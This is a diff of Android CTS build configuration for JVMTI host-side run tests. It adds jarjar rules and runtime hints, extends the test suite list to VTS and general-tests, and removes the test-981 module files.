diff --git a/hostsidetests/jvmti/run-tests/test-931/Android.mk b/hostsidetests/jvmti/run-tests/test-931/Android.mk
index ae04387..8f2cec9 100644
--- a/hostsidetests/jvmti/run-tests/test-931/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-931/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest931HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-931/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-931/AndroidTest.xml
index 4532a3e..349cc80 100644
--- a/hostsidetests/jvmti/run-tests/test-931/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-931/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest931HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest931DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_931" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-931/app/Android.mk b/hostsidetests/jvmti/run-tests/test-931/app/Android.mk
index c03028a..c1be435 100644
--- a/hostsidetests/jvmti/run-tests/test-931/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-931/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-931/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-931/jarjar-rules.txt
new file mode 100644
index 0000000..9570d03
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-931/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest931@1
diff --git a/hostsidetests/jvmti/run-tests/test-932/Android.mk b/hostsidetests/jvmti/run-tests/test-932/Android.mk
index c952c86..4e655f5 100644
--- a/hostsidetests/jvmti/run-tests/test-932/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-932/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest932HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-932/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-932/AndroidTest.xml
index 234476c..c691b40 100644
--- a/hostsidetests/jvmti/run-tests/test-932/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-932/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest932HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest932DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_932" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-932/app/Android.mk b/hostsidetests/jvmti/run-tests/test-932/app/Android.mk
index 651a9ee..970365b 100644
--- a/hostsidetests/jvmti/run-tests/test-932/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-932/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-932/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-932/jarjar-rules.txt
new file mode 100644
index 0000000..fc9fd30
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-932/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest932@1
diff --git a/hostsidetests/jvmti/run-tests/test-940/Android.mk b/hostsidetests/jvmti/run-tests/test-940/Android.mk
index 4ed5dec..99fc6ae 100644
--- a/hostsidetests/jvmti/run-tests/test-940/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-940/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest940HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-940/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-940/AndroidTest.xml
index 2ef5266..fe8f6df 100644
--- a/hostsidetests/jvmti/run-tests/test-940/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-940/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest940HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest940DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_940" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-940/app/Android.mk b/hostsidetests/jvmti/run-tests/test-940/app/Android.mk
index c2121eb..bc0476f 100644
--- a/hostsidetests/jvmti/run-tests/test-940/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-940/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-940/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-940/jarjar-rules.txt
new file mode 100644
index 0000000..71c7825
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-940/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest940@1
diff --git a/hostsidetests/jvmti/run-tests/test-942/Android.mk b/hostsidetests/jvmti/run-tests/test-942/Android.mk
index d2605b7..68d839b 100644
--- a/hostsidetests/jvmti/run-tests/test-942/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-942/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest942HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-942/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-942/AndroidTest.xml
index a0043a8..f200441 100644
--- a/hostsidetests/jvmti/run-tests/test-942/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-942/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest942HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest942DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_942" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-942/app/Android.mk b/hostsidetests/jvmti/run-tests/test-942/app/Android.mk
index 82d3b6a..5b077b4 100644
--- a/hostsidetests/jvmti/run-tests/test-942/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-942/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-942/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-942/jarjar-rules.txt
new file mode 100644
index 0000000..76d0e86
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-942/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest942@1
diff --git a/hostsidetests/jvmti/run-tests/test-944/Android.mk b/hostsidetests/jvmti/run-tests/test-944/Android.mk
index 16f9c7f..bcc2046 100644
--- a/hostsidetests/jvmti/run-tests/test-944/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-944/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest944HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-944/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-944/AndroidTest.xml
index bf9c3b0..97a69cd 100644
--- a/hostsidetests/jvmti/run-tests/test-944/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-944/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest944HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest944DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_944" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-944/app/Android.mk b/hostsidetests/jvmti/run-tests/test-944/app/Android.mk
index c820284..197b5fe 100644
--- a/hostsidetests/jvmti/run-tests/test-944/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-944/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-944/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-944/jarjar-rules.txt
new file mode 100644
index 0000000..3f0fecf
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-944/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest944@1
diff --git a/hostsidetests/jvmti/run-tests/test-945/Android.mk b/hostsidetests/jvmti/run-tests/test-945/Android.mk
index e86d85e..b06d1f9 100644
--- a/hostsidetests/jvmti/run-tests/test-945/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-945/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest945HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-945/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-945/AndroidTest.xml
index be0827b..3c76674 100644
--- a/hostsidetests/jvmti/run-tests/test-945/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-945/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest945HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest945DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_945" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-945/app/Android.mk b/hostsidetests/jvmti/run-tests/test-945/app/Android.mk
index b704807..5326258 100644
--- a/hostsidetests/jvmti/run-tests/test-945/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-945/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-945/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-945/jarjar-rules.txt
new file mode 100644
index 0000000..03ea4b9
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-945/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest945@1
diff --git a/hostsidetests/jvmti/run-tests/test-947/Android.mk b/hostsidetests/jvmti/run-tests/test-947/Android.mk
index 4b4cead..2258a4b 100644
--- a/hostsidetests/jvmti/run-tests/test-947/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-947/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest947HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-947/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-947/AndroidTest.xml
index 2a8b3d1..1f7a004 100644
--- a/hostsidetests/jvmti/run-tests/test-947/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-947/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest947HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest947DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_947" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-947/app/Android.mk b/hostsidetests/jvmti/run-tests/test-947/app/Android.mk
index 42cc459..7f807d0 100644
--- a/hostsidetests/jvmti/run-tests/test-947/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-947/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-947/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-947/jarjar-rules.txt
new file mode 100644
index 0000000..d229133
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-947/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest947@1
diff --git a/hostsidetests/jvmti/run-tests/test-951/Android.mk b/hostsidetests/jvmti/run-tests/test-951/Android.mk
index ba45b86..5677f8b 100644
--- a/hostsidetests/jvmti/run-tests/test-951/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-951/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest951HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-951/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-951/AndroidTest.xml
index 659506d..ef9a6e7 100644
--- a/hostsidetests/jvmti/run-tests/test-951/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-951/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest951HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest951DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_951" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-951/app/Android.mk b/hostsidetests/jvmti/run-tests/test-951/app/Android.mk
index 6b22274..f70496c 100644
--- a/hostsidetests/jvmti/run-tests/test-951/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-951/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-951/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-951/jarjar-rules.txt
new file mode 100644
index 0000000..34d0341
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-951/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest951@1
diff --git a/hostsidetests/jvmti/run-tests/test-981/Android.mk b/hostsidetests/jvmti/run-tests/test-981/Android.mk
deleted file mode 100644
index 4bbc20a..0000000
--- a/hostsidetests/jvmti/run-tests/test-981/Android.mk
+++ /dev/null
@@ -1,26 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest981HostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
-
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/test-981/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-981/AndroidTest.xml
deleted file mode 100644
index e6351d3..0000000
--- a/hostsidetests/jvmti/run-tests/test-981/AndroidTest.xml
+++ /dev/null
@@ -1,27 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-<configuration description="Config for CTS JVMTI test cases">
- <option name="config-descriptor:metadata" key="component" value="art" />
- <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
- <option name="cleanup-apks" value="true" />
- <option name="test-file-name" value="CtsJvmtiRunTest981DeviceApp.apk" />
- </target_preparer>
- <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
- <option name="jar" value="CtsJvmtiRunTest981HostTestCases.jar" />
- <option name="set-option" value="test-file-name:CtsJvmtiRunTest981DeviceApp.apk" />
- <option name="set-option" value="package-name:android.jvmti.cts.run_test_981" />
- </test>
-</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-981/app/Android.mk b/hostsidetests/jvmti/run-tests/test-981/app/Android.mk
deleted file mode 100644
index ec8f7aa..0000000
--- a/hostsidetests/jvmti/run-tests/test-981/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest981DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-981/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-981/app/AndroidManifest.xml
deleted file mode 100644
index a0e898a..0000000
--- a/hostsidetests/jvmti/run-tests/test-981/app/AndroidManifest.xml
+++ /dev/null
@@ -1,35 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.jvmti.cts.run_test_981">
-
- <application android:debuggable="true">
- <uses-library android:name="android.test.runner" />
- <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="981" />
- <activity android:name="android.jvmti.JvmtiActivity" >
- </activity>
- </application>
-
- <!-- self-instrumenting test package. -->
- <instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
- android:label="CTS tests for JVMTI"
- android:targetPackage="android.jvmti.cts.run_test_981" >
- </instrumentation>
-</manifest>
-
diff --git a/hostsidetests/jvmti/run-tests/test-982/Android.mk b/hostsidetests/jvmti/run-tests/test-982/Android.mk
index 908adaf..b766614 100644
--- a/hostsidetests/jvmti/run-tests/test-982/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-982/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest982HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-982/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-982/AndroidTest.xml
index 2411871..0470da1 100644
--- a/hostsidetests/jvmti/run-tests/test-982/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-982/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest982HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest982DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_982" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-982/app/Android.mk b/hostsidetests/jvmti/run-tests/test-982/app/Android.mk
index a06c76d..3b32dfe 100644
--- a/hostsidetests/jvmti/run-tests/test-982/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-982/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-982/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-982/jarjar-rules.txt
new file mode 100644
index 0000000..125fa3f
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-982/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest982@1
diff --git a/hostsidetests/jvmti/run-tests/test-984/Android.mk b/hostsidetests/jvmti/run-tests/test-984/Android.mk
index 3ddb2ad..2d71278 100644
--- a/hostsidetests/jvmti/run-tests/test-984/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-984/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest984HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-984/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-984/AndroidTest.xml
index 26c3ed6..febd68b 100644
--- a/hostsidetests/jvmti/run-tests/test-984/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-984/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest984HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest984DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_984" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-984/app/Android.mk b/hostsidetests/jvmti/run-tests/test-984/app/Android.mk
index b30ff35..dad792a 100644
--- a/hostsidetests/jvmti/run-tests/test-984/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-984/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
